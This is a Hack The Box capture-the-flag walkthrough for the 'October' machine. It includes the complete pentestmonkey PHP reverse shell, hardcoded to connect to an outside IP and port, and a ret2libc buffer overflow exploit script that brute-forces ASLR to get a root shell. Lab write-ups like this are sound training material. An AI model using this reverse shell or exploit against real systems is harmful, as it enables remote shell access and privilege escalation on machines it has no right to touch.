Writeup for HacktheBox October

October is a slightly difficult box. An attacker needs to apply some advanced techniques to gain root access. The complexity sits in identifying a buffer overflow and exploiting it with the tools available on a Linux system.

Perform a nmap scan of the system

# cat nmap_october.txt 
Starting Nmap 7.80 ( https://nmap.org ) at 2020-01-05 17:13 EST
Nmap scan report for 10.10.10.16
Host is up (0.083s latency).
Not shown: 998 filtered ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   1024 79:b1:35:b6:d1:25:12:a3:0c:b5:2e:36:9c:33:26:28 (DSA)
|   2048 16:08:68:51:d1:7b:07:5a:34:66:0d:4c:d0:25:56:f5 (RSA)
|   256 e3:97:a7:92:23:72:bf:1d:09:88:85:b6:6c:17:4e:85 (ECDSA)
|_  256 89:85:90:98:20:bf:03:5d:35:7f:4a:a9:e1:1b:65:31 (ED25519)
80/tcp open  http    Apache httpd 2.4.7 ((Ubuntu))
| http-methods: 
|_  Potentially risky methods: PUT PATCH DELETE
|_http-server-header: Apache/2.4.7 (Ubuntu)
|_http-title: October CMS - Vanilla
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 3.10 - 4.11 (92%), Linux 3.16 (92%), Linux 3.16 - 4.6 (92%), Linux 3.18 (92%), Linux 3.2 - 4.9 (92%), Linux 4.2 (92%), Linux 4.4 (92%), Linux 3.12 (90%), Linux 3.13 (90%), Linux 3.13 or 4.2 (90%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 80/tcp)
HOP RTT      ADDRESS
1   83.94 ms 10.10.14.1
2   83.87 ms 10.10.10.16

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 22.73 seconds

Folder backend contains a login form as well as a password reset form that can help enumerate users. It responds whenever a known user is entered

# dirb http://10.10.10.16

-----------------
DIRB v2.22    
By The Dark Raver
-----------------

START_TIME: Sun Jan  5 17:20:49 2020
URL_BASE: http://10.10.10.16/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

-----------------

GENERATED WORDS: 4612                                                          

---- Scanning URL: http://10.10.10.16/ ----
+ http://10.10.10.16/account (CODE:200|SIZE:5089)                                                                                                                                                            
+ http://10.10.10.16/backend (CODE:302|SIZE:400)                                                                                                                                                             
+ http://10.10.10.16/blog (CODE:200|SIZE:4255)                                                                                                                                                               
+ http://10.10.10.16/Blog (CODE:200|SIZE:4253)                                                                                                                                                               
==> DIRECTORY: http://10.10.10.16/config/                                                                                                                                                                    
+ http://10.10.10.16/error (CODE:200|SIZE:3343)                                                                                                                                                              
+ http://10.10.10.16/forgot-password (CODE:200|SIZE:3840)                                                                                                                                                    
+ http://10.10.10.16/forum (CODE:200|SIZE:9588)                                                                                                                                                              
+ http://10.10.10.16/index.php (CODE:200|SIZE:5162)                                                                                                                                                          
==> DIRECTORY: http://10.10.10.16/modules/                                                                                                                                                                   
==> DIRECTORY: http://10.10.10.16/plugins/                                                                                                                                                                   
+ http://10.10.10.16/server-status (CODE:403|SIZE:291)                                                                                                                                                       
==> DIRECTORY: http://10.10.10.16/storage/                                                                                                                                                                   
==> DIRECTORY: http://10.10.10.16/tests/                                                                                                                                                                     
==> DIRECTORY: http://10.10.10.16/themes/                                                                                                                                                                    
==> DIRECTORY: http://10.10.10.16/vendor/                                                                                                                                                                    
                                                                                                                                                                                                             
---- Entering directory: http://10.10.10.16/config/ ----

Log into the backend at http://10.10.10.16/backend using credentials admin/admin indicated by the riddle

Upload a reverse shell via Media screen

<?php
// php-reverse-shell - A Reverse Shell implementation in PHP
// Copyright (C) 2007 pentestmonkey@pentestmonkey.net
//
// This tool may be used for legal purposes only.  Users take full responsibility
// for any actions performed using this tool.  The author accepts no liability
// for damage caused by this tool.  If these terms are not acceptable to you, then
// do not use this tool.
//
// In all other respects the GPL version 2 applies:
//
// This program is free software; you can redistribute it and/or modify
// it under the terms of the GNU General Public License version 2 as
// published by the Free Software Foundation.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License along
// with this program; if not, write to the Free Software Foundation, Inc.,
// 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
//
// This tool may be used for legal purposes only.  Users take full responsibility
// for any actions performed using this tool.  If these terms are not acceptable to
// you, then do not use this tool.
//
// You are encouraged to send comments, improvements or suggestions to
// me at pentestmonkey@pentestmonkey.net
//
// Description
// -----------
// This script will make an outbound TCP connection to a hardcoded IP and port.
// The recipient will be given a shell running as the current user (apache normally).
//
// Limitations
// -----------
// proc_open and stream_set_blocking require PHP version 4.3+, or 5+
// Use of stream_select() on file descriptors returned by proc_open() will fail and return FALSE under Windows.
// Some compile-time options are needed for daemonisation (like pcntl, posix).  These are rarely available.
//
// Usage
// -----
// See http://pentestmonkey.net/tools/php-reverse-shell if you get stuck.

set_time_limit (0);
$VERSION = "1.0";
$ip = '10.10.14.29';  // CHANGE THIS
$port = 8888;       // CHANGE THIS
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;

//
// Daemonise ourself if possible to avoid zombies later
//

// pcntl_fork is hardly ever available, but will allow us to daemonise
// our php process and avoid zombies.  Worth a try...
if (function_exists('pcntl_fork')) {
	// Fork and have the parent process exit
	$pid = pcntl_fork();
	
	if ($pid == -1) {
		printit("ERROR: Can't fork");
		exit(1);
	}
	
	if ($pid) {
		exit(0);  // Parent exits
	}

	// Make the current process a session leader
	// Will only succeed if we forked
	if (posix_setsid() == -1) {
		printit("Error: Can't setsid()");
		exit(1);
	}

	$daemon = 1;
} else {
	printit("WARNING: Failed to daemonise.  This is quite common and not fatal.");
}

// Change to a safe directory
chdir("/");

// Remove any umask we inherited
umask(0);

//
// Do the reverse shell...
//

// Open reverse connection
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
	printit("$errstr ($errno)");
	exit(1);
}

// Spawn shell process
$descriptorspec = array(
   0 => array("pipe", "r"),  // stdin is a pipe that the child will read from
   1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
   2 => array("pipe", "w")   // stderr is a pipe that the child will write to
);

$process = proc_open($shell, $descriptorspec, $pipes);

if (!is_resource($process)) {
	printit("ERROR: Can't spawn shell");
	exit(1);
}

// Set everything to non-blocking
// Reason: Occsionally reads will block, even though stream_select tells us they won't
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);

printit("Successfully opened reverse shell to $ip:$port");

while (1) {
	// Check for end of TCP connection
	if (feof($sock)) {
		printit("ERROR: Shell connection terminated");
		break;
	}

	// Check for end of STDOUT
	if (feof($pipes[1])) {
		printit("ERROR: Shell process terminated");
		break;
	}

	// Wait until a command is end down $sock, or some
	// command output is available on STDOUT or STDERR
	$read_a = array($sock, $pipes[1], $pipes[2]);
	$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);

	// If we can read from the TCP socket, send
	// data to process's STDIN
	if (in_array($sock, $read_a)) {
		if ($debug) printit("SOCK READ");
		$input = fread($sock, $chunk_size);
		if ($debug) printit("SOCK: $input");
		fwrite($pipes[0], $input);
	}

	// If we can read from the process's STDOUT
	// send data down tcp connection
	if (in_array($pipes[1], $read_a)) {
		if ($debug) printit("STDOUT READ");
		$input = fread($pipes[1], $chunk_size);
		if ($debug) printit("STDOUT: $input");
		fwrite($sock, $input);
	}

	// If we can read from the process's STDERR
	// send data down tcp connection
	if (in_array($pipes[2], $read_a)) {
		if ($debug) printit("STDERR READ");
		$input = fread($pipes[2], $chunk_size);
		if ($debug) printit("STDERR: $input");
		fwrite($sock, $input);
	}
}

fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);

// Like print, but does nothing if we've daemonised ourself
// (I can't figure out how to redirect STDOUT like a proper daemon)
function printit ($string) {
	if (!$daemon) {
		print "$string\n";
	}
}

?> 


Listen on port 8888 and execute the reverse shell by browsing to 10.10.10.16/storage/app/media/mb.php5

A limited shell will be made available

Spawn an interactive shell using

python -c 'import pty;pty.spawn("/bin/bash")'

user flag is visible

$ cat user.txt
29161ca87aa3d34929dc46efc40c89c0

Running LinEnum.sh reveals file /usr/local/bin/ovrflw with SUID set

SUID (Set owner User ID up on execution) is a special type of file permissions given to a file. Normally in Linux/Unix when a program runs, it inherit’s access permissions from the logged in user. SUID is defined as giving temporary permissions to a user to run a program/file with the permissions of the file owner rather that the user who runs it. In simple words users will get file owner’s permissions as well as owner UID and GID when executing a file/program/command.

-e \e[00;31m[-] SUID files:\e[00m
-rwsr-xr-x 1 root root 67704 Nov 24  2016 /bin/umount
-rwsr-xr-x 1 root root 38932 May  8  2014 /bin/ping
-rwsr-xr-x 1 root root 30112 May 15  2015 /bin/fusermount
-rwsr-xr-x 1 root root 35300 May 17  2017 /bin/su
-rwsr-xr-x 1 root root 43316 May  8  2014 /bin/ping6
-rwsr-xr-x 1 root root 88752 Nov 24  2016 /bin/mount
-rwsr-xr-x 1 root root 5480 Mar 27  2017 /usr/lib/eject/dmcrypt-get-device
-rwsr-xr-x 1 root root 492972 Aug 11  2016 /usr/lib/openssh/ssh-keysign
-rwsr-xr-x 1 root root 9808 Nov 24  2015 /usr/lib/policykit-1/polkit-agent-helper-1
-rwsr-xr-- 1 root messagebus 333952 Dec  7  2016 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
-rwsr-xr-x 1 root root 156708 Oct 14  2016 /usr/bin/sudo
-rwsr-xr-x 1 root root 30984 May 17  2017 /usr/bin/newgrp
-rwsr-xr-x 1 root root 18168 Nov 24  2015 /usr/bin/pkexec
-rwsr-xr-x 1 root root 45420 May 17  2017 /usr/bin/passwd
-rwsr-xr-x 1 root root 44620 May 17  2017 /usr/bin/chfn
-rwsr-xr-x 1 root root 66284 May 17  2017 /usr/bin/gpasswd
-rwsr-xr-x 1 root root 18136 May  8  2014 /usr/bin/traceroute6.iputils
-rwsr-xr-x 1 root root 72860 Oct 21  2013 /usr/bin/mtr
-rwsr-xr-x 1 root root 35916 May 17  2017 /usr/bin/chsh
-rwsr-sr-x 1 daemon daemon 46652 Oct 21  2013 /usr/bin/at
-rwsr-xr-- 1 root dip 323000 Apr 21  2015 /usr/sbin/pppd
-rwsr-sr-x 1 libuuid libuuid 17996 Nov 24  2016 /usr/sbin/uuidd
-rwsr-xr-x 1 root root 7377 Apr 21  2017 /

SUID set is visible from the file listing

ls -ltr /usr/local/bin/ovrflw
-rwsr-xr-x 1 root root 7377 Apr 21 2017 /usr/local/bin/ovrfl

As the name suggests, let’s try to apply buffer overflow to file overfl

Interesting to follow to get a better grasp of reverse engineering a program

https://www.begin.re/the-workshop

Analyzing the file

Program is run by providing a string as argument

$ usr/local/bin/ovrflw
usr/local/bin/ovrflw
Syntax: usr/local/bin/ovrflw <input string>

Given a long enough input, file crashes with Segmentation fault error

www-data@october:/$ usr/local/bin/ovrflw `python -c "print('A')*500"`
usr/local/bin/ovrflw `python -c "print('A')*500"`
Segmentation fault (core dumped)

File is 32 bit

$ file usr/local/bin/ovrflw
file usr/local/bin/ovrflw
usr/local/bin/ovrflw: setuid ELF 32-bit LSB  executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=004cdf754281f7f7a05452ea6eaf1ee9014f07da, not stripped

Address space layout randomization (ASLR) is a computer security technique involved in preventing exploitation of memory corruption vulnerabilities

Let’s find out if it’s enabled on the system

www-data@october:/$ cat /proc/sys/kernel/randomize_va_space
2

alternative

www-data@october:/$ for i in `seq 0 20` ; do ldd usr/local/bin/ovrflw | grep libc ; done
<n `seq 0 20` ; do ldd usr/local/bin/ovrflw | grep libc ; done               
	libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb757c000)
	libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb75c7000)
	libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb75aa000)
	libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb75c3000)
	libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb759f000)
	libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7583000)
	libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb75c1000)
	libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7582000)
	libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb762b000)
	libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7610000)
	libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7589000)
	libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7611000)
	libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7592000)
	libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb755d000)
	libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb75ae000)
	libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb75c9000)
	libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb757a000)
	libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7636000)
	libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb75e9000)
	libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7629000)
	libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb75ec000)

Create a pattern of length 200

# /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 200
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag

generate a pattern of length 200 so that we are sure it will result in buffer overflow

# /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 200
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag

run gdb on the program and pass the pattern

gdb -q ----- quiet

break *main+48 ----- set a break on address *main+48

r Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag <7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag

– run with an argument

i r ----- info registers shows all the registers

$ gdb -q usr/local/bin/ovrflw
gdb -q usr/local/bin/ovrflw
Reading symbols from usr/local/bin/ovrflw...(no debugging symbols found)...done.
(gdb) break *main+48                               
break *main+48
Breakpoint 1 at 0x80484ad
(gdb) r Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag
<7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag                  
Starting program: /usr/local/bin/ovrflw Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag

Breakpoint 1, 0x080484ad in main ()
(gdb) i r
i r
eax            0x2	2
ecx            0xbe84932b	-1098607829
edx            0xbfde4dd4	-1075950124
ebx            0xb76e6000	-1217503232
esp            0xbfde4d20	0xbfde4d20
ebp            0xbfde4da8	0xbfde4da8
esi            0x0	0
edi            0x0	0
eip            0x80484ad	0x80484ad <main+48>
eflags         0x202	[ IF ]
cs             0x73	115
ss             0x7b	123
ds             0x7b	123
es             0x7b	123
fs             0x0	0
gs             0x33	51
(gdb) 
(gdb) c
c
Continuing.

Program received signal SIGSEGV, Segmentation fault.
0x64413764 in ?? ()

we notice EIP is overwritten with 0x64413764. Pass the value to pattern_offset.rb and we receive a value of 112.

We need to pass 112 characters and then pass the address of the instructions we want to be executed

# /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 0x64413764
[*] Exact match at offset 112

The executable has been compiled with data execution prevention. IT marks areas of memory that cannot execure code, and one happens to be the stack. This prevents us from performing a classic buffer overflow as if we return into our buffer, the code with thrown an error.

We need to use a technique called ret2libc. Instead of overwriting EIP with the address of our buffer, we’ll just put the address of a function in the C library, such as system, which we’ll use to call bin/sh and give us a root shell

First, find the offset of the system function in libc

$ readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system
readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system
   243: 0011b710    73 FUNC    GLOBAL DEFAULT   12 svcerr_systemerr@@GLIBC_2.0
   620: 00040310    56 FUNC    GLOBAL DEFAULT   12 __libc_system@@GLIBC_PRIVATE
  1443: 00040310    56 FUNC    WEAK   DEFAULT   12 system@@GLIBC_2.0
www-data@october:/$ 

Find the offset of the exit function

readelf -s /lib/i386-linux-gnu/libc.so.6 | grep 'exit'
   111: 00033690    58 FUNC    GLOBAL DEFAULT   12 __cxa_at_quick_exit@@GLIBC_2.10
   139: 00033260    45 FUNC    GLOBAL DEFAULT   12 exit@@GLIBC_2.0
   446: 000336d0   268 FUNC    GLOBAL DEFAULT   12 __cxa_thread_atexit_impl@@GLIBC_2.18
   554: 000b84f4    24 FUNC    GLOBAL DEFAULT   12 _exit@@GLIBC_2.0
   609: 0011e5f0    56 FUNC    GLOBAL DEFAULT   12 svc_exit@@GLIBC_2.0
   645: 00033660    45 FUNC    GLOBAL DEFAULT   12 quick_exit@@GLIBC_2.10
   868: 00033490    84 FUNC    GLOBAL DEFAULT   12 __cxa_atexit@@GLIBC_2.1.3
  1037: 00128b50    60 FUNC    GLOBAL DEFAULT   12 atexit@GLIBC_2.0
  1380: 001ac204     4 OBJECT  GLOBAL DEFAULT   31 argp_err_exit_status@@GLIBC_2.1
  1492: 000fb480    62 FUNC    GLOBAL DEFAULT   12 pthread_exit@@GLIBC_2.0
  2090: 001ac154     4 OBJECT  GLOBAL DEFAULT   31 obstack_exit_failure@@GLIBC_2.0
  2243: 00033290    77 FUNC    WEAK   DEFAULT   12 on_exit@@GLIBC_2.0
  2386: 000fbff0     2 FUNC    GLOBAL DEFAULT   12 __cyg_profile_func_exit@@GLIBC_2.2

Find the location of a /bin/sh string

$ strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh
< -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh                       
 162bac /bin/sh

get memory location of libc.so.6

$ ldd /usr/local/bin/ovrflw | grep libc
ldd /usr/local/bin/ovrflw | grep libc
	libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7554000)

As seen in the beginning file has Address space layout randomization enabled. This means one byte of information changes each time. In effect, there are 256 possible starting memory locations which we will bruteforce.

Exploit

import struct
from subprocess import call
#We need to find the libc offset, but since it's going to be aslr'd
#we therefore have to get the base address of libc.so
#and then the offset of system and exit from libc start will remain constant

#Note this is for my local machine
#libc start address only varies by two bytes so 256 possible addresses
libcstart = 0xb7554000 #Guess this and hope it hits it again ldd ovrflw | grep libc
libcsystem_off = 0x00040310  # from the output of readelf..|grep system
libcexit_off = 0x00033260    # from the output of readelf..|grep 'exit'
#readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system

system = libcstart + libcsystem_off
exit = libcstart + libcexit_off

sh_offset = 0x162bac #offsetof /bin/sh followed by null byte
sh = libcstart + sh_offset
#strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh

def conv(num):
        return struct.pack("<I", num)


buf = "A"*112 + conv(system) + conv(exit) + conv(sh)
i=0
while i < 256:
        print i
        i += 1

        ret = call(["/usr/local/bin/ovrflw", buf])

Create the file locally, spawn a websever, get the file on the October host

cat root.txt
6bcb9cff749c9318d2a6e71bbcf30318
# 


# 
# whoami
whoami
root